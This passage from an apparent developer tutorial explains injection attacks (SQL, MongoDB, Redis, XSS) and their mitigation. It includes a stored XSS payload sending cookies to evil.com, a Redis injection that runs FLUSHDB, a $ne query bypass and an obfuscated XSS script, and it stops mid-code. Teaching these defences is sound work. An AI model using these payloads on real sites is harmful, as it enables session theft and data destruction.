&lt;p&gt;If the database is misconfigured, &lt;code&gt;xp_dirtree&lt;/code&gt; initiates a DNS lookup for the domain &lt;code&gt;attacker.com&lt;/code&gt;, attempting to resolve the network path &lt;code&gt;//attacker.com/sample&lt;/code&gt;. The attacker is not trying to steal data this way, their goal is to &lt;strong&gt;detect&lt;/strong&gt; the presence of a vulnerability, which they do in this method as their server intercepts DNS requests to themselves.&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;The only appropriate solution for mitigating this type of vulnerability is to validate the input and then use &lt;code&gt;Prepared Statements&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Validation alone &lt;strong&gt;will not&lt;/strong&gt; save you from SQL injections. It is hard to make a universal rule, so we need to guarantee &lt;strong&gt;isolation&lt;/strong&gt; of user input from query. Validation here acts as an additional yet &lt;strong&gt;mandatory&lt;/strong&gt; layer of security to make sure that the data is syntactically and semantically correct.&lt;/p&gt;

&lt;p&gt;Here's an example of a proper code, with validation and using Prepared Statement. We will use &lt;a href="https://github.com/OWASP/www-project-netryx/tree/main" rel="noopener noreferrer"&gt;OWASP Netryx Armor&lt;/a&gt; as the validation tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;input&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;validate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userInput&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;thenAccept&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE username = ?"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;con&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dataSource&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getConnection&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;con&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                &lt;span class="c1"&gt;// execute query&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If our goal is to passively block such data, machine learning models like &lt;strong&gt;Naive Bayes&lt;/strong&gt; do a good job detecting injection attempts.&lt;/p&gt;

&lt;h3&gt;
  
  
  NoSQL Injection
&lt;/h3&gt;

&lt;p&gt;It is a popular misconception that NoSQL databases are not susceptible to injection attacks. The protection techniques here are the same as SQLi - input validation, data isolation and strict typing.&lt;/p&gt;

&lt;h4&gt;
  
  
  MongoDB
&lt;/h4&gt;

&lt;p&gt;Despite the fact that the MongoDB driver for Java, especially in recent versions, effectively isolates the data coming inside the filters, we still need to look at examples to understand the principle of vulnerability.&lt;/p&gt;

&lt;p&gt;Let's imagine we have an endpoint; it returns users by their name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /api/user
Accepts: application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Searching for users looks like this under the hood:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;username&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MongoDB allows you to construct complex queries that include the following operators:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;$ne&lt;/code&gt; - not equals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$gt&lt;/code&gt; - greater than&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$lt&lt;/code&gt; - less than&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the attacker sends the following construct in the body of the request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"$ne"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then it will construct the following query to the database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To describe the query in human terms, it literally means “find me all users whose &lt;code&gt;username&lt;/code&gt; is not equal to &lt;code&gt;null&lt;/code&gt;”.&lt;/p&gt;

&lt;h4&gt;
  
  
  Redis
&lt;/h4&gt;

&lt;p&gt;In Redis, injection is possible if you use the Command-Line Interface (CLI) or if your library, through which you work with Redis, also operates through the CLI.&lt;/p&gt;

&lt;p&gt;Let's imagine that we need to store a value obtained from a query in Redis.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SET key &lt;span class="o"&gt;{&lt;/span&gt;user_data&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker can use the &lt;code&gt;\n&lt;/code&gt; character (line break) to execute a database query on top of their own. For example, if they submit &lt;code&gt;“userData”\nSET anotherKey “hi nosqli”&lt;/code&gt;, it will cause the following commands to be executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SET key &lt;span class="s2"&gt;"userData"&lt;/span&gt;
SET anotherKey &lt;span class="s2"&gt;"hi nosqli"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or worse, they can delete a base by subming:&lt;br&gt;
&lt;code&gt;“userData”\nFLUSHDB&lt;/code&gt; (or &lt;code&gt;FLUSHALL&lt;/code&gt;, to delete all bases).&lt;/p&gt;
&lt;h3&gt;
  
  
  XSS Injection
&lt;/h3&gt;

&lt;p&gt;Also an extremely popular injection attack method, which unlike SQL Injection, targets the &lt;strong&gt;user&lt;/strong&gt; rather than the server. The ultimate goal of this attack is to execute JS code in the user's browser.&lt;/p&gt;

&lt;p&gt;There are four main varieties of this attack:&lt;/p&gt;
&lt;h4&gt;
  
  
  Stored XSS
&lt;/h4&gt;

&lt;p&gt;Stored XSS occurs when an attacker submits malicious data to the server and the server then displays this data to other users.&lt;/p&gt;

&lt;p&gt;For example, let's say we have a movie site where you can leave comments. The attacker sends a comment with the following content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Very interesting film about extremely sad fairytale. &amp;lt;script&amp;gt;var img=new Image();img.src='http://evil.com/steal-cookie.php?cookie='+document.cookie;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the comments have loaded, depending on the browser, the DOM tree will render the script and we'll get this final HTML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
  &lt;span class="c"&gt;&amp;lt;!--Some code---&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"comments"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"comment"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Very interesting film about extremely sad fairytale.&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
        &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://evil.com/steal-cookie.php?cookie=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"comment"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class="c"&gt;&amp;lt;!--Some code---&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Depending on the browser, the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag may be inside the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag, but this will not prevent the script from executing.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reflected XSS
&lt;/h4&gt;

&lt;p&gt;Let's go by the name, an attack occurs when a malicious script is “reflected” from a web-server in response to an HTTP request. To understand this, let's look at the following scenario:&lt;/p&gt;

&lt;p&gt;We have an endpoint &lt;code&gt;/error&lt;/code&gt; with a query parameter &lt;code&gt;message&lt;/code&gt; that specifies the error message. Here is an example HTML file of the page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error Page&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Error Page&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Your error message: &lt;span class="nt"&gt;&amp;lt;strong&amp;gt;&lt;/span&gt;${message}&lt;span class="nt"&gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker sends a link to a user, with the following payload:&lt;br&gt;
&lt;code&gt;http://example.com/error?message=%3Cscript%3Ealert('XSS');%3C%2Fscript%3E&lt;/code&gt;, the server will replace the placeholder &lt;code&gt;${message}&lt;/code&gt; with the value from query, and return an HTML file with the malicious script.&lt;/p&gt;
&lt;h4&gt;
  
  
  DOM-based XSS
&lt;/h4&gt;

&lt;p&gt;In this type of XSS injection, all processing takes place directly on the client, bypassing the server. Let's take a look at the error screen as an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error Page&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Error Page&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Your error message: &lt;span class="nt"&gt;&amp;lt;strong&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"error-message"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error-message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHtml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, in the case of such HTML page, the query parameter is processed by the client itself, not by the server. If this example can still be filtered through the server, the content in the case of using hashes (for example: &lt;code&gt;http://example.com/#&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;/code&gt;), does not pass through the server and cannot be filtered by it.&lt;/p&gt;

&lt;h4&gt;
  
  
  Polymorphic XSS
&lt;/h4&gt;

&lt;p&gt;Similar to polymorphic viruses, each time malicious code is executed, its code changes. To avoid pattern-based detection, the attacker often uses &lt;strong&gt;multiple encoding&lt;/strong&gt;, and to hide the code, creates it on the fly.&lt;/p&gt;

&lt;p&gt;For example, let's take our “innocent” script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can present it in a more complex way as well. Not so heavy obfuscation, so to say:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;83&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;83&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span 